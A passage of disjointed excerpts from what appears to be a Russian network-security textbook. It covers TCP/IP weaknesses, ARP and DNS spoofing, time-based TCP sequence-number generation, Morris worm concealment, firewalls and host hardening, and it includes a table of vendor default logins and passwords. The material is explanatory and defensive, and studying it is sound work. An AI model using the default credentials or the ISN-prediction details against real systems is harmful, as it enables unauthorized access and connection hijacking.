Как отмечалось ранее, единственным базовым протоколом семейства TCP/IP, в котором изначально предусмотрена функция обеспечения безопасности соединения и его абонентов, является протокол транспортного уровня - протокол TCP. Что касается базовых протоколов прикладного уровня: FTP, TELNET, r-служба, NFS, HTTP, DNS, SMTP, то ни один из них не предусматривает дополнительную защиту соединения на своем уровне и оставляет решение всех проблем по обеспечению безопасности соединения протоколу более низкого транспортного уровня - TCP. Однако, вспомнив о возможных атаках на TCP-соединение, рассмотренных в п. 4.5, где было отмечено, что при нахождении атакующего в одном сегменте с целью атаки защититься от подмены одного из абонентов TCP-соединения в принципе невозможно, а в случае нахождения в разных сегментах из-за возможности математического предсказания идентификатора TCP-соединения ISN также реальна подмена одного из абонентов, несложно сделать вывод, что при использовании базовых протоколов семейства TCP/IP обеспечить безопасность соединения практически невозможно! Это происходит из-за того, что, к сожалению, все базовые протоколы сети Internet с точки зрения обеспечения информационной безопасности невероятно устарели.
Единственно, что можно порекомендовать сетевым администраторам для защиты только от межсегментных атак на соединения - в качестве базового "защищенного" протокола использовать протокол TCP и сетевые ОС, в которых начальное значение идентификатора TCP-соединения действительно генерируется случайным образом (неплохой псевдослучайный алгоритм генерации используется в последних версиях ОС FreeBSD). (Подчеркнем, что здесь говорилось только о базовых протоколах семейства TCP/IP, а все защищенные протоколы типа SSL, S-HTTP, Kerberos и т. д. не являются базовыми - п. 7.2.2.1.)
- ...Скажите мне честно - есть ли хоть какой-то выход из этого кошмара?
- Выход всегда есть, - ответил Эркюль Пуаро.
А.Кристи. Подвиги Геркулеса.
Прежде чем говорить о различных аспектах обеспечения информационной безопасности в сети Internet, пользователь должен постараться найти ответ на вопрос: "А есть ли мне, что защищать?" . Вы скажете, странный вопрос. Ничуть! Особенность сети Internet на сегодняшний день состоит в том, что 99% процентов информационных ресурсов сети являются общедоступными. Удаленный доступ к этим ресурсам может осуществляться анонимно любым неавторизованным пользователем сети. Примером подобного неавторизованного доступа к общедоступным ресурсам является подключение к WWW- или FTP-серверам, в том случае, если подобный доступ разрешен. Теперь, даже если при помощи одной из описанных удаленных атак из предыдущей главы трафик пользователя будет, например, перехвачен и пройдет через сегмент сети атакующего, то последний не получит ничего, кроме и так общедоступной информации, а, следовательно, в подобной атаке для кракера нет абсолютно никакого смысла! Поэтому первый вопрос, на который должен ответить каждый пользователь, заключается в выборе вида удаленного доступа к ресурсам сети. Если пользователь планирует осуществлять в сети Internet только неавторизованный удаленный доступ к различным информационным ресурсам, то заботиться о безопасности соединения ему абсолютно не требуется! Если же все-таки планируется авторизованный доступ к удаленным ресурсам, то без обращения должного внимания на проблемы безопасности никак не обойтись.
Определившись, к каким ресурсам сети Internet пользователь намерен осуществлять доступ, необходимо ответить на следующий вопрос: а собирается ли пользователь разрешать удаленный доступ из сети к своим ресурсам? Если нет, то тогда имеет смысл использовать в качестве сетевой ОС "чисто клиентскую" ОС (например, Windows '95 или NT Workstation), которая не содержит программ-серверов, обеспечивающих удаленный доступ, а, следовательно, удаленный доступ к данной системе в принципе невозможен, так как он просто программно не предусмотрен (например, ОС Windows '95 или NT, правда с одним но: под данные системы действительно нет серверов FTP, TELNET, WWW и т. д., но нельзя забывать про встроенную в них возможность предоставления удаленного доступа к файловой системе, так называемое разделение (share) ресурсов. А вспомнив по меньшей мере странную позицию фирмы Microsoft по отношению к обеспечению безопасности своих систем, нужно серьезно подумать, прежде чем остановить выбор на продуктах данной фирмы. Последний пример: в Internet появилась программа, предоставляющая атакующему несанкционированный удаленный доступ к файловой системе ОС Windows NT 4.0!). Выбор клиентской операционной системы во многом решает проблемы безопасности для данного пользователя (нельзя получить доступ к ресурсу, которого просто нет!). Однако в этом случае ухудшается функциональность системы. Здесь своевременно сформулировать, на наш взгляд, основную аксиому безопасности:
Аксиома безопасности.
Впитав такой впечатляющий набор фактов об уязвимости вашей системы, вы, несомненно, задаете себе вопрос: как же обеспечить защиту в сети и, вообще, возможно ли это? Не будем дискутировать на философскую тему "почему абсолютная защита невозможна?"
В любом случае, сделать все, чтобы максимально ее улучшить - задача любого администратора безопасности. Надеемся также, что вы уже прочитали рассуждения в главе 7 по вопросу "А есть ли, что мне защищать?" .
Проанализировав причины, по которым происходят успешные нападения на хосты UNIX, нам будет легче сформулировать те принципы, на которых будет строиться защита. При этом будем придерживаться следующих концепций:
актуальность - защищаться надо от реальных атак, а не от фантастических или, наоборот, времен вируса Морриса;
разумность затрат - поскольку 100% защиты мы все равно не обеспечим, надо найти тот рубеж, за которым затраты на дальнейшее повышение безопасности оказываются выше стоимости той информации, которую может украсть кракер.
Итак, ниже приводится список очень простых правил и действий (некоторые идеи взяты из [25]), за которым следует процент отсеченных на этом этапе кракеров. Поставив перед собой цель защитить свой хост на N процентов, вы можете сами решить, на каком из них вам остановиться:
Прочитайте, наконец, руководство по администрированию вашей системы, и наверняка вы найдете там некоторые полезные советы, которые захотите применить.
Поставьте последние версии sendmail, ftpd и httpd. Этим вы сразу отсеете до 30% (самых невежественных или ленивых) кракеров.
Запустите программу автоматизированного контроля вашего хоста, типа SATAN или ISS. Почему типа? Дело в том, что на сегодняшний день эти программы явно устарели (см. п. 8.9), а новых мы пока не можем вам предложить. Из этого не следует, что, когда вы будете читать эти строки, таковых не появится. Вероятно, они сделают то же, что и предлагается ниже, только вам это будет стоить гораздо меньше.
Проверьте настройки вашего NFS-сервиса, а также содержимое файлов /etc/hosts.equiv и .rhosts (или подобных) для каждого пользователя. У NFS не должно быть экспорта любых каталогов для everyone, а необходимость включения каждого доверенного хоста должна быть еще раз проверена. Уже до 50% кракеров не смогут забраться к вам.
Сразу оговоримся, что осветить всю проблему безопасности сети Internet в целом не входило в наши планы. Полностью за кадром осталась такая модная нынче тема, как безопасность WWW, включая безопасность Java и, особенно ActiveX (фирма Microsoft не дремлет!). Далее, мы не рассматривали безопасность электронной почты (программу PGP и т.п.) и мифы о вирусах, якобы могущих попасть к вам всего лишь путем чтения электронного письма; проблемы с безопасностью, возникающие при переходе на новый стандарт IPv6; почти не затронуты средства криптографической защиты (типа Kerberos). Кроме того, мы не стремились подробно описывать такие всем хорошо известные и, видимо, порядком уже поднадоевшие читателям методы и средства защиты в сети Internet, как Firewall, SSL, SKIP, S-HTTP.
Авторы хотели бы поблагодарить сотрудников СЦЗИ, оказавших помощь при написании данной книги, а также вынести особую благодарность Александру Монину за оформление всех графических материалов книги.
В завершение мы желаем всем нашим читателям обращать должное внимание на проблемы информационной безопасности и надеемся им помочь как этой книгой, так и, возможно, лично в качестве независимых экспертов.
Специалистам понятна сложность в изложении столь деликатных вопросов, как безопасность сети, поэтому авторы будут благодарны читателям за отзывы, отправленные в адрес Центра Защиты Информации СПбГТУ:
e-mail:
WWW:
Авторский коллектив
|
Основная цель любой классификации состоит в том, чтобы предложить такие классификационные признаки, используя которые можно наиболее точно описать классифицируемые явления или объекты. В связи с тем, что ни в одном из известных авторам научном исследовании не проводилось различия между локальными и удаленными информационными воздействиями на ВС, то применение уже известных обобщенных классификаций для описания удаленных воздействий не позволяет наиболее точно раскрыть их сущность и описать механизмы и условия их осуществления. Это связано с тем, что данный класс воздействий характеризуется сугубо специфичными признаками для распределенных вычислительных систем. Поэтому для более точного описания удаленных атак и предлагается следующая классификация.
Итак, удаленные атаки можно классифицировать по следующим признакам:
Как известно, каждый объект распределенной ВС должен обладать адресом, уникально его идентифицирующим. Для того, чтобы сообщение от одного объекта было передано на другой объект системы, оно должно пройти через цепь маршрутизаторов, задача которых- проанализировав адрес назначения, указанный в сообщении, выбрать оптимальный маршрут и, исходя из него, переправить пакет или на следующий маршрутизатор или непосредственно абоненту, если он напрямую подключен к данному узлу. Таким образом, маршрут до объекта определяется цепочкой узлов, пройденных сообщением. Как было показано в п. 5.1.4, маршрут сообщения может являться информацией, аутентифицирующей с точностью до подсети подлинность адреса субъекта, отославшего сообщение. Очевидно, что перед любой системой связи объектов в РВС встает стандартная проблема проверки подлинности адреса сообщения, пришедшего на объект. Эту задачу, с одной стороны, можно решить, введя дополнительную идентификацию сообщений на другом, более высоком уровне OSI. Так, адресация осуществляется на сетевом уровне, а дополнительная идентификация, например, на транспортном. Однако подобное решение не позволит избежать проблемы контроля за созданием соединений (п. 5.1.3), так как дополнительная идентификация абонентов будет возможна только после создания соединения. Поэтому разработчикам распределенной ВС можно предложить следующие пути решения проблемы.
В первом случае функцию проверки подлинности адреса отправителя можно возложить на маршрутизатор. Это несложно сделать, так как маршрутизатор может отследить, откуда к нему пришел пакет (от другого маршрутизатора или от подключенного к нему хоста из подсетей, напрямую подключенных к данному маршрутизатору). Маршрутизатор может проверять соответствие адреса отправителя с адресом соответствующей подсети, откуда пришло сообщение. В случае совпадения сообщение пересылается далее, а в противном случае - отфильтровывается. Этот способ позволит на начальной стадии отбросить пакеты с неверными адресами отправителя.
Другой вариант решения может состоять в создании в заголовке пакета специальных полей, куда каждый маршрутизатор, через который проходит пакет, заносит маршрутную информацию (часть своего адреса, например). При этом первый маршрутизатор, на который поступил пакет, заносит также информацию о классе сети (A, B, C), откуда пришел пакет. Тем не менее, внесение в пакет адресов всех пройденных по пути маршрутизаторов будет неоптимальным решением, так как в этом случае сложно заранее определить максимальный размер заголовка пакета.
Когда сообщение дойдет до конечного адресата, в его заголовке будет полностью отмечен пройденный маршрут. По этому маршруту, вне зависимости от указанного в пакете сетевого адреса отправителя, можно, во-первых, с точностью до подсети идентифицировать подлинность адреса и, во-вторых, определить с точностью до подсети истинный адрес отправителя. Итак, получив подобное сообщение с указанным маршрутом, сетевая операционная система анализирует маршрут и проверяет подлинность адреса отправителя. В случае его недостоверности пакет отбрасывается.
Из всего вышесказанного следует следующее требование к созданию защищенных систем связи в распределенных ВС:
Утверждение 5.
В распределенной ВС необходимо обеспечить на сетевом уровне контроль за маршрутом сообщений для аутентификации адреса отправителя.
В предыдущей главе было показано, что взаимодействие объектов РВС по виртуальному каналу позволяет надежно защитить соединение от возможных информационно-разрушающих воздействий по каналам связи. Однако, как это отмечалось в п. 5.1.3, взаимодействие по ВК имеет свои минусы. К минусам относится необходимость контроля за соединением. Если в системе связи удаленных объектов РВС не предусмотреть использование надежных алгоритмов контроля за соединением, то, избавившись от одного типа удаленных атак на соединение ("Подмена доверенного объекта" - см. п. 3.2.2), можно подставить систему под другую типовую УА - "Отказ в обслуживании" (п. 3.2.4). Поэтому для обеспечения надежного функционирования и работоспособности (доступности) каждого объекта распределенной ВС необходимо прежде всего контролировать процесс создания соединения. Как уже говорилось в п. 5.1.3, задача контроля за ВК распадается на две подзадачи:
контроль за созданием соединения;
контроль за использованием соединения.
Решение второй задачи лежит на поверхности: так как сетевая операционная система не может одновременно иметь бесконечное число открытых ВК, то в том случае, если ВК простаивает в течение определенного системой тайм-аута, происходит его закрытие.
Далее рассмотрим возможный алгоритм, позволяющий обеспечить контроль за созданием соединения в РВС.
Основная задача, которую необходимо решить в данном случае, состоит в том, чтобы не позволить одному субъекту взаимодействия занять все виртуальные каналы системы. Процесс создания ВК был рассмотрен в п. 3.2.4. Напомним, что при создании ВК полученный системой запрос на создание соединения ставится в очередь запросов, и, когда до него дойдет время, система выработает ответ на запрос и отошлет его обратно отправителю запроса. Задача контроля за созданием соединения заключается как раз в том, чтобы определить те правила, исходя из которых система могла бы либо поставить запрос в очередь, либо нет. Если все пришедшие запросы автоматически ставятся системой в очередь (так построены все сетевые ОС, поддерживающие протокол TCP/IP), то это в случае атаки ведет к переполнению очереди и к отказу в обслуживании всех остальных легальных запросов. Такое происходит из-за того, что атакующий посылает в секунду столько запросов, сколько позволит трафик (тысячи запросов в секунду), а обычный пользователь с легальным запросом на подключение может послать лишь несколько запросов в минуту! Следовательно, вероятность подключения втакой ситуации, при условии переполнения очереди, один к миллиону в лучшем случае. Поэтому необходимо ввести ограничения на постановку в очередь запросов от одного объекта. Однако, если в РВС любой объект системы может послать запрос от имени (с адреса) любого другого объекта системы, то, как отмечалось ранее, решить задачу контроля не представляется возможным. Поэтому для обеспечения этой возможности было введено Утверждение 5, исходя из которого в каждом пришедшем на объект пакете должен быть указан пройденный им маршрут, позволяющий с точностью до подсети подтвердить подлинность адреса отправителя. Учитывая данный факт, позволяющий отсеять все пакеты с неверным адресом отправителя, можно предложить следующее условие постановки запроса в очередь: в системе вводится ограничение на число обрабатываемых в секунду запросов из одной подсети.
Это максимальное число ставящихся в очередь запросов в секунду определяется непосредственно операционной системой и зависит от следующих параметров сетевой ОС: быстродействия, объема виртуальной памяти, числа одновременно обслуживаемых виртуальных каналов, длины очереди и т.д. Вводимое ограничение не позволит атакующему переполнить очередь, так как только первые несколько его запросов будут поставлены в очередь на обслуживание, а остальные будут игнорироваться. Первый же запрос легального пользователя из другой подсети будет также сразу поставлен в очередь.
К минусам этого способа решения проблемы контроля за созданием соединения можно отнести тот факт, что, так как адрес отправителя можно аутентифицировать с точностью только до подсети, то атакующий может посылать запросы от имени любого объекта данной подсети. Следовательно, в случае атаки все остальные объекты из подсети атакующего будут лишены возможности подключения к атакуемому объекту. Однако, так как, во-первых, атакующего по указанному в пакете маршруту можно будет вычислить с точностью до его подсети и, во-вторых, не произойдет нарушения работоспособности цели атаки, то такая атака вряд ли будет иметь смысл.
Итак, в завершение очередное требование к защищенным системам связи в распределенных ВС.
Утверждение 6.
Для обеспечения доступности ресурсов распределенной ВС необходим контроль за виртуальными соединениями между ее объектами.
Следствие 6.1.
Необходимо обеспечить контроль за созданием соединения, введя ограничение на число обрабатываемых в секунду запросов из одной подсети.
Следствие 6.2.
Необходимо обеспечить контроль за использованием соединения, разрывая его по тайм-ауту в случае отсутствия сообщений.
Как уже неоднократно подчеркивалось, в вычислительных сетях связь между двумя удаленными хостами осуществляется путем передачи по сети сообщений, которые заключены в пакеты обмена. В общем случае передаваемый по сети пакет независимо от используемого протокола и типа сети (Token Ring, Ethernet, X.25 и др.) состоит из заголовка пакета и поля данных. В заголовок пакета обычно заносится служебная информация, определяемая используемым протоколом обмена и необходимая для адресации пакета, его идентификации, преобразования и т. д. В поле данных помещаются либо непосредственно данные, либо другой пакет более высокого уровня OSI. Так, например, пакет транспортного уровня может быть вложен в пакет сетевого уровня, который, в свою очередь, вложен в пакет канального уровня. Спрое-цировав это утверждение на сетевую ОС, использующую протоколы TCP/IP, можно утверждать, что пакет TCP (транспортный уровень) вложен в пакет IP (сетевой уровень), который, в свою очередь, вложен в пакет Ethernet (канальный уровень). Следующая схема наглядно иллюстрирует как выглядит, например, TCP-пакет в сети Internet:
| Ethernet-заголовок |
| IP-заголовок |
| TCP-заголовок |
| Данные |
Рис.4.2. Структура TCP-пакета
Рассмотрим схему адресации пакетов в сети Internet и возникающие при этом проблемы безопасности. Как известно, базовым сетевым протоколом обмена в сети Internet является протокол IP (Internet Protocol). Протокол IP - это межсетевой протокол, позволяющий передавать IP-пакеты в любую точку глобальной сети. Для адресации на сетевом уровне (IP-уровне) в сети Internet каждый хост имеет уникальный 32-разрядный IP-адрес. Для передачи IP-пакета на хост необходимо указать в IP-заголовке пакета в поле Destination Address IP-адрес данного хоста. Однако, как видно из рис. 4.2, IP-пакет находится внутри аппаратного пакета (в случае среды передачи Ethernet IP пакет находится внутри Ethernet-пакета), поэтому каждый пакет в сетях любого типа и с любыми протоколами обмена в конечном счете адресуется на аппаратный адрес сетевого адаптера, непосредственно осуществляющего прием и передачу пакетов в сеть (в дальнейшем мы будем рассматривать только Ethernet-сети).
Из всего вышесказанного видно, что для адресации IP-пакетов в сети Internet кроме IP-адреса хоста необходим еще либо Ethernet-адрес его сетевого адаптера (в случае адресации внутри одной подсети), либо Ethernet-адрес маршрутизатора (в случае межсетевой адресации). Первоначально хост может не иметь информации о Ethernet-адресах других хостов, находящихся с ним в одном сегменте, в том числе и о Ethernet-адресе маршрутизатора. Следовательно, перед хостом встает стандартная проблема, решаемая с помощью алгоритма удаленного поиска. В сети Internet для решения этой проблемы используется протокол ARP (Address Resolution Protocol). Протокол ARP позволяет получить взаимно однозначное соответствие IP- и Ethernet-адресов для хостов, находящихся внутри одного сегмента. Это достигается следующим образом: при первом обращении к сетевым ресурсам хост отправляет широковещательный ARP-запрос на Ethernet-адрес FFFFFFFFFFFFh, в котором указывает IP-адрес маршрутизатора и просит сообщить его Ethernet-адрес (IP-адрес маршрутизатора является обязательным параметром, который всегда устанавливается вручную при настройке любой сетевой ОС в сети Internet). Этот широковещательный запрос получат все станции в данном сегменте сети, в том числе и маршрутизатор. Получив данный запрос, маршрутизатор внесет запись о запросившем хосте в свою ARP-таблицу, а затем отправит на запросивший хост ARP-ответ, в котором сообщит свой Ethernet-адрес. Полученный в ARP-ответе Ethernet-адрес будет занесен в ARP-таблицу, находящуюся в памяти операционной системы на запросившем хосте и содержащую записи соответствия IP- и Ethernet-адресов для хостов внутри одного сегмента. Отметим, что в случае адресации к хосту, расположенному в той же подсети, также используется ARP-протокол и рассмотренная выше схема полностью повторяется.
Из п. 3.2.3.2 следует, что в случае использования в распределенной ВС алгоритмов удаленного поиска существует возможность осуществления в такой сети типовой удаленной атаки "Ложный объект РВС" . Из анализа безопасности протокола ARP становится ясно, что, перехватив на атакующем хосте внутри данного сегмента сети широковещательный ARP-запрос, можно послать ложный ARP-ответ, в котором объявить себя искомым хостом (например, маршрутизатором), и в дальнейшем активно контролировать и воздействовать на сетевой трафик "обманутого" хоста по схеме "Ложный объект РВС" (п. 3.2.3.3).
Рассмотрим обобщенную функциональную схему ложного ARP-сервера (рис. 4.3):
Как известно, для обращения к хостам в сети Internet используются 32-разрядные IP-адреса, уникально идентифицирующие каждый сетевой компьютер в этой глобальной сети. Однако, для пользователей применение IP-адресов при обращении к хостам является не слишком удобным и далеко не самым наглядным.
В самом начале зарождения Internet для удобства пользователей было принято решение присвоить всем компьютерам в сети имена. Использование имен позволяет пользователю лучше ориентироваться в киберпространстве сети Internet - куда проще, понятней и наглядней для пользователя запомнить, например, имя www.ferrari.it, чем четырехразрядную цепочку IP-адреса. Использование в Internet мнемонически понятных для пользователей имен породило проблему преобразования имен в IP-адреса. Такое преобразование необходимо, так как на сетевом уровне адресация пакетов идет не по именам, а по IP-адресам, следовательно, для непосредственной адресации сообщений в Internet имена не годятся. На этапе раннего развития Internet, когда в сеть было объединено небольшое количество компьютеров, NIC (Network Information Center) для решения проблемы преобразования имен в адреса создал специальный файл (hosts file), в который вносились имена и соответствующие им IP-адреса всех хостов в сети. Данный файл регулярно обновлялся и распространялся по всей сети. Но, по мере развития Internet, число объединенных в сеть хостов увеличивалось, и данная схема становилась все менее и менее работоспособной, поэтому была создана новая система преобразования имен, позволяющая пользователю в случае отсутствия у него информации о соответствии имен и IP-адресов получить необходимые сведения от ближайшего информационно-поискового сервера (DNS-сервера). Эта система получила название доменной системы имен - DNS (Domain Name System).
Для реализации системы DNS был создан специальный сетевой протокол DNS, для обеспечения эффективной работы которого в сети создаются специальные выделенные информационно-поисковые серверы - DNS-серверы. Поясним основную задачу, решаемую службой DNS. В современной сети Internet хост при обращении к удаленному серверу обычно имеет информацию только о его имени и не знает его IP-адреса, который и необходим для непосредственной адресации. Следовательно, перед хостом возникает стандартная проблема удаленного поиска: по имени удаленного хоста найти его IP-адрес. Решением этой проблемы и занимается служба DNS на базе протокола DNS.
Рассмотрим DNS-алгоритм удаленного поиска IP-адреса по имени в сети Internet:
В том случае, если в распределенной ВС недостаточно надежно решены проблемы идентификации сетевых управляющих устройств (например, маршрутизаторов), возникающие при взаимодействии последних с объектами системы, то подобная распределенная система может подвергнуться типовой удаленной атаке, связанной с изменением маршрутизации и внедрением в систему ложного объекта. В том случае, если инфраструктура сети такова, что для взаимодействия объектов необходимо использование алгоритмов удаленного поиска (п. 3.2.3.2), то это также позволяет внедрить в систему ложный объект. Итак, существуют две принципиально разные причины, обуславливающие появление типовой удаленной атаки "Ложный объект РВС" .
Вирус осуществлял ряд мер для сокрытия своих действий:
стирался список аргументов по окончании их обработки, поэтому команда ps не могла показать, каким образом были вызваны вирусные программы;
исполняемые файлы вируса после своего запуска немедленно уничтожались, и нельзя было понять, откуда появился процесс. Если зараженная машина перезагружалась в процессе исполнения вируса, то специальная программа автоматически восстанавливала файл после перезагрузки;
размер аварийного дампа устанавливался равным нулю. Если программа аварийно завершалась, то она не оставляла после себя никаких следов. Также отключались сообщения об ошибках;
вирус был скомпилирован под именем sh, такое же имя использовалось командным интерпретатором Bourne Shell, который часто используется в командных файлах. Даже старательный администратор системы не замечал увеличения числа интерпретаторов, функционирующих в системе, или не придавал этому значения;
вирус размножался, ветвясь на два процесса (роди-тель и потомок), примерно каждые три минуты. Процесс-родитель после этого завершался, а процесс-потомок продолжал работать. Это имело эффект "обновления" процесса, так как для нового процесса учет используемых ресурсов начинался с нуля. Кроме того, эта мера затрудняла обнаружение вируса;
все текстовые строки, используемые вирусом, были закодированы с помощью операции "исключающее или" - XOR 81H. Это, конечно, слабый метод, но он позволил скрыть важные текстовые строки, например, имена открываемых вирусом файлов.
Первый вопрос, который возникает в данном случае: как сетевая операционная система формирует начальное значение ISSa (так называемый ISN - Initial Sequence Number)? Очевидно, что наилучшим решением с точки зрения безопасности будет генерация этого значения ISN по случайному закону с использованием программного (а лучше аппаратного) генератора псевдослучайных чисел с достаточно большим периодом. В этом случае каждое новое значение ISN не будет зависеть от его предыдущего значения, а, следовательно, у атакующего не будет даже теоретической возможности нахождения функционального закона получения ISN.
Однако оказывается, что подобные очевидные правила случайной генерации ISN как для составителей самого описания протокола TCP (RFC 793), так и для разработчиков сетевого ядра различных операционных систем являются далеко не очевидными. Об этом говорят следующие факты. В описании протокола TCP в RFC 793 рекомендуется увеличивать значение этого 32-битного счетчика на 1 каждые 4 микросекунды (?!).
А как дело обстоит на практике? Поверьте, плохо!
Например, в ранних Berkeley-совместимых ядрах ОС UNIX значение этого счетчика увеличивалось на 128 каждую секунду и на 64 для каждого нового соединения. Анализ исходных текстов ядра ОС Linux 1.2.8 показал, что значение ISN вычисляется данной ОС в зависимости от текущего времени по следующему, отнюдь не случайному закону:
1. ISN = mcsec + 1000000 sec, где
mcsec - время в микросекундах;
sec - текущее время в секундах, причем отсчет его идет от 1970 года.
Вы думаете, что в других сетевых ОС лучше? Ошибаетесь! В ОС Windows NT 4.0 значение ISN увеличивается на 10 примерно каждую миллисекунду, то есть для Windows NT справедлива следующая формула:
2. ISN " 10 msec, где
msec - текущее время в миллисекундах.
Однако больше всего нас удивил защищенный по классу B1 UNIX, установленный на многопроцессорной мини-ЭВМ - полнофункциональном файрволе. Эта наиболее защищенная из всех, что встречалась авторам, сетевая ОС имеет также простой времязависимый алгоритм генерации начального значения идентификатора TCP-соединения. Как говорится, комментарии здесь излишни. Мало того, что в единственном базовом "защищенном" (?!) протоколе Internet - протоколе TCP - применяется простейший способ идентификации соединения, который в принципе не позволяет гарантировать надежную защиту от подмены одного из абонентов при нахождении атакующего в том же сегменте, так еще и сами разработчики сетевых ОС разрушают и без того хрупкую безопасность этого протокола, используя простые времязависимые алгоритмы генерации ISN!
Итак, в том случае, если в сетевой операционной системе используется времязависимый алгоритм генерации начального значения идентификатора TCP-соединения, то атакующий получает принципиальную возможность определить с той или иной степенью точности вид функции, описывающей закон получения ISN. Исходя из практических исследований сетевых ОС, а также из общих теоретических соображений, можно предложить следующий обобщенный вид функции, описывающий времязависимый закон получения ISN:
| ISN0 | ISN1 | ... | ISNn |
| t0 | t1 | ... | tn |
| t, мкс | 2759 | 5685 | 8560 | 11462 | 14303 |
| D ISN | 65135 | 134234 | 202324 | 270948 | 338028 |
В общем случае методика Firewall реализует следующие основные три функции:
1. Многоуровневая фильтрация сетевого трафика.
Фильтрация обычно осуществляется на трех уровнях OSI:
сетевом (IP);
транспортном (TCP, UDP);
прикладном (FTP, TELNET, HTTP, SMTP и т. д.).
Фильтрация сетевого трафика является основной функцией систем Firewall и позволяет администратору безопасности сети централизованно осуществлять необходимую сетевую политику безопасности в выделенном сегменте IP-сети, то есть, настроив соответствующим образом Firewall, можно разрешить или запретить пользователям как доступ из внешней сети к соответствующим службам хостов или к хостам, находящихся в защищаемом сегменте, так и доступ пользователей из внутренней сети к соответствующим ресурсам внешней сети. Можно провести аналогию с администратором локальной ОС, который для осуществления политики безопасности в системе назначает необходимым образом соответствующие отношения между субъектами (пользователями) и объектами системы (файлами, например), что позволяет разграничить доступ субъектов системы к ее объектам в соответствии с заданными администратором правами доступа. Те же рассуждения применимы к Firewall-фильтрации: в качестве субъектов взаимодействия будут выступать IP-адреса хостов пользователей, а в качестве объектов, доступ к которым необходимо разграничить, - IP-адреса хостов, используемые транспортные протоколы и службы предоставления удаленного доступа.
2. Proxy-схема с дополнительной идентификацией и аутентификацией пользователей на Firewall-хосте.
Proxy-схема позволяет, во-первых, при доступе к защищенному Firewall сегменту сети осуществить на нем дополнительную идентификацию и аутентификацию удаленного пользователя и, во-вторых, является основой для создания приватных сетей с виртуальными IP-адресами. Смысл proxy-схемы состоит в создании соединения с конечным адресатом через промежуточный proxy-сервер (proxy от англ. полномочный) на хосте Firewall. На этом proxy-сервере и может осуществляться дополнительная идентификация абонента.
В завершении разговора об удаленных атаках в сети Internet авторы хотели бы рассказать о так называемых мифических удаленных атаках. К этим курьезным атакам можно отнести "почти" реально осуществимые угрозы, основанные на реальных особенностях протоколов Internet. "Почти" осуществимые угрозы на практике нельзя осуществить (п. 4.7.1), либо вероятность их успеха чрезвычайно небольшая (п. 4.7.2). Однако шумиха, поднимаемая некоторыми не совсем компетентными зарубежными "экспертами" по безопасности Internet, вводящими в заблуждение многих пользователей, создает миф об этих атаках, которые на самом деле практически никому не угрожают.
Вначале был хаос и анархия. Интернет только зарождался, глобальных сетей практически не было, базовые протоколы TCP/IP только появлялись и стандартизовались, аналогично в самом начале развития были все UNIX-службы, программы еще были сырыми и не отлаженными. Причем этот процесс развития происходил стихийно, независимо в разных местах, на разных версиях UNIX, потом наиболее удачные начинания распространялись, сталкивались со своими конкурентами, переделывались и т. д. Весь этот процесс стандартизации сопровождался неизбежными компромиссами, особенно в системе безопасности, т. к. основными принципами UNIX всегда являлись простота, гибкость и переносимость - а они часто противоречат безопасности.
Нынешние кракеры, наверно, кусают себе локти, что они родились не на 10 лет раньше - ведь в то время хакером мог прослыть тот, кто умел методично перебирать адреса компьютеров и вводить в качестве имени и пароля что-нибудь типа guest/guest [17]. Видимо, большинство хостов (в том числе и военные - в то время возможность проникновения в секретные хосты еще не являлась мифом) и вскрывались таким образом. Были известны стандартные входные имена, присутствующие в операционной системе при ее инсталляции (см. табл. 8.1).
Особо продвинутые кракеры, наверное, догадывались вводить в качестве паролей наиболее распространенные имена, жаргонные словечки и т. п.
Интересно заметить, что большинство средств защиты многих современных ОС наиболее успешно борется именно с таким примитивным классом атак, называя это громкими словами "обнаружение нарушителей" (intruder detection) и т. п. В ОС обычно принята задержка в несколько секунд после набора неправильного пароля, а также ограничение максимального числа неправильно набранных паролей подряд. Эти меры не позволяют взломщику удаленно перебирать быстро пароли (естественно, что сегодня, если хакер и будет заниматься перебором, то не в реальном времени). Но, видимо, в те далекие годы не было даже таких мер.
Таблица 4.13 Уязвимые операционные системы
| ОС | Имя(login) | Пароль |
| AIX | guest | guest |
| AS/400 | qsecofr | qsecofr |
| qsysopr | qsysopr | |
| qpgmr | qpgmr | |
| System 75 | bcim | bcimpw |
| blue | bluepw | |
| browse | looker, browsepw | |
| tech | field | |
| Taco Bell | rgm | rollout |
| tacobell | <пусто> | |
| VMS | field | service |
| systest | utep |
В этом разделе мы рассмотрим второй подвид атак, осуществляемых в сети - атаки на телекоммуникационные службы удаленных компьютеров. Эти компьютеры могут находиться на другом континенте или быть в соседней с вами комнате - это никак не может быть вами замечено, кроме, может быть, скорости ответа на ваши запросы.
Итак, какие же цели преследует кракер, атакующий извне ваш компьютер? Видимо, их может быть несколько:
получить доступ к важной информации, хранящейся у вас. О, вероятно, вы крупная компьютерная шишка и за вами серьезно охотятся (если, только конечно, этой информацией не является несколько гигабайт gif'ов высокого разрешения);
получить доступ к ресурсам вашей системы. Это может быть как процессорное время (особенно если вы обладаете суперкомпьютером), так и дисковое пространство (например, для организации пиратского ftp-сайта (site). В этом случае вы не только ничего не потеряете, но и, может быть, приобретете честно сворованное программное обеспечение стоимостью много тысяч долларов);
иметь плацдарм для осуществления цели 1), но для атаки на другой компьютер - тогда в журналах атакованного компьютера будет значиться, что атака осуществлялась с вашего адреса. Вы, конечно, будете доказывать, что вы тут не при чем, и, вероятно, докажете это, но инцидент принесет вам несколько неприятных минут и несколько неприятных слов об уровне защиты вашего хоста;
как пробный шар, отладка механизмов атак на другие хосты. Ну, не расстраивайтесь, вы докажете тем самым, что вы не так уж небесполезны в сети, в отличие от других хостов, на которые никогда никто не нападал, и которые остро ощущают свою ненужность.
Теперь рассмотрим основные пути получения взлом-щиком несанкционированного доступа на компьютер.
Как известно, в UNIX различают два вида пользователей - обычный пользователь, имеющий права на доступ в рамках своего идентификатора (UID, user id) и членства в группе (GID, group ID) (в UNIX каждый пользователь в текущий момент может быть членом только одной группы, соответственно, он имеет один UID и один GID); а также так называемый суперпользователь (root), имеющий неограниченные права (UID и GID у него равны специальному значению 0). По мере развития среди обычных пользователей выделились так называемые специальные пользователи. Они обычно имеют зарезервированные имена (например, guest, bin, uucp и т.п.) и номера UID и GID (например, они всегда меньшие 100). Хотя нет никакого особого механизма в защите UNIX, отличающего специального пользователя от обычного можно сказать, что первый имеет еще меньшие права, чем второй. В частности, специальным пользователям обычно нельзя зайти в систему нормальным образом. Самым интересным для нас примером специального пользователя является анонимный пользователь ftp, который так и называется - anonymous или ftp.
